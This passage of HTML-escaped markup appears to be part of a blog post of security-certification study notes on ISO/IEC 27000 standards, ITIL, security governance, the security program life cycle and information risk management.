     objectives; and&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;- BS7799 Part 2,
     which&amp;nbsp;outlines how a security program can be set up and
     maintained.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;BS7799
Part 2 also served as a baseline that organizations&amp;nbsp;could be certified
against. To become certified against the&amp;nbsp;ISO 17799, an
authorized&amp;nbsp;third party would evaluate the organization against the requirements
in ISO 17799 Part 2. The organization could be&amp;nbsp;certified against all or
just a portion of ISO 17799 Part 2.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC&amp;nbsp;27000&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO
9000 series comprises many standards that deal with quality control for
business processes. A new series, ISO/IEC&amp;nbsp;27000, is used for assurance and
security standards. ISO has overhauled the 17799 standards to correspond with
their&amp;nbsp;current numbering format. Following are the ISO/IEC series that are
used as blueprints for organizations to follow when&amp;nbsp;developing their security
program:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC 27001
     Based on British Standard BS7799 Part 2, which is establishment,
     implementation, control, and&amp;nbsp;improvement of the Information Security
     Management System&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It is the standard for the establishment, implementation, control, and improvement of the Information&amp;nbsp;Security Management System.
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC 27002
     Code of practice providing good practice advice on ISMS (previously known
     as ISO 17799 part 1), itself&amp;nbsp;based on British Standard BS 7799 Part 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It is a comprehensive set of controls comprising best practices in information&amp;nbsp;security and provides guidelines on how to set up and maintain security programs.
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC 27004 A
     standard for information security management measurements&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC 27005
     Designed to assist the satisfactory implementation of information security
     based on a risk management&amp;nbsp;approach&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC 27006 A
     guide to the certification/registration process&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ISO/IEC 27799 A
     guide to illustrate how to protect personal health information&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The
ISO/IEC 27002 (formerly ISO 17799)&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;domains&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;are as follows:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Information
     security policy for the organization&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Creation of
     information security infrastructure&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Asset
     classification and control&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Personnel
     security&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Physical and
     environmental security&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Communications
     and operations management&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Access control&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;System
     development and maintenance&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Business
     continuity management&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Compliance&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;ITIL&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Where
CobiT defines IT goals, ITIL provides the steps at the process level on how
to&amp;nbsp;achieve those goals. Although ITIL has a component that deals with
security, its focus is more toward internal service level&amp;nbsp;agreements
between the IT department and the &quot;customers&quot; it serves. The
customers are usually internal departments.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security Governance&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security
governance is all of the tools, personnel, and business processes necessary to
ensure that the security implemented meets the organization&#39;s specific needs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Governance is the set of responsibilities and practices exercised by the board and executive management with the goal&amp;nbsp;of providing strategic direction, ensuring that objectives are achieved, ascertaining that risks are managed&amp;nbsp;appropriately, and verifying that the enterprise&#39;s resources are used responsibly.&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security Program Development&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It
is important to understand that a security program has a life cycle that is always
continuing, because it should be&amp;nbsp;constantly evaluated and improved upon.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;The security program should be integrated with current business objectives and goals.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The life cycle of any process can be described in different ways.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 52.8pt; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo32; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Plan
and Organize&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Establish
     management commitment.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Establish
     oversight steering committee.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Assess business
     drivers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Carry out a
     threat profile on the organization.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Carry out a risk
     assessment.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Develop security
     architectures at an organizational, application, network, and component
     level.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identify
     solutions per architecture level.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Obtain management
     approval to move forward.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 52.8pt; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo32; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Implement&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Assign roles and
     responsibilities.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Develop
     and implement security policies, procedures, standards, baselines, and
     guidelines.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Identify
     sensitive data at rest and in transit.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Implement
     the following blueprints:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Asset
     identification and management&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Risk
     management&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Vulnerability
     management&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Compliance&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Identity
     management and access control&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Change
     control&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Software
     development life cycle&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Business
     continuity planning&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Awareness
     and training&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Physical
     security&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Incident
     response&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Implement
     solutions (administrative, technical, physical) per blueprint.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Develop
     auditing and monitoring solutions per blueprint.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Establish
     goals, service level agreements (SLAs), and metrics per blueprint.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 52.8pt; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo32; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;3.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Operate
and Maintain&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Follow
     procedures to ensure all baselines are met&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Carry out
     internal and external audits.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Carry out
     tasks outlined per blueprint.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Manage
     service level agreements&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin-bottom: 0in; margin-left: 52.8pt; margin-right: 0in; margin-top: 0in; mso-list: l2 level1 lfo32; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;4.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Monitor
and Evaluate&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Review
     logs, audit results, collected metric values, and SLAs per blueprint.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;Assess
     goal accomplishments&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;quarterly
     meetings&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;improvement
     steps and integrate into the Plan and Organize phase.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Information risk management
(IRM)&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;IRM is the process of identifying, assessing, and reducing risk to an acceptable level&amp;nbsp;and implementing the right mechanisms to maintain that level of risk.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Proper
risk management requires a strong commitment from senior management, a
documented process that supports the&amp;nbsp;organization&#39;s mission, an&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IRM policy&lt;/b&gt;, and a delegated&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;IRM team&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The risk management team should include individuals from different departments within the organization, not just&amp;nbsp;technical personnel.&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Threats
must be identified, classified by category, and evaluated to calculate their
damage potential to the company. Real&amp;nbsp;risk is hard to measure, but
prioritizing the potential risks in order of which ones must be addressed first
is possible.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk analysis&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;which
is really a tool for risk management, is a method of identifying
vulnerabilities and threats and&amp;nbsp;assessing the possible impacts to
determine where to implement security safeguards. Risk analysis is used to
ensure that&amp;nbsp;security is cost-effective, relevant, timely, and responsive
to threats.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Identifying Threats&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Illogical
processing and cascading errors would mean invalid results are passed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;on
to another process. Risks have&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;loss
potential&lt;/b&gt;, meaning what the company would lose if a threat agent were
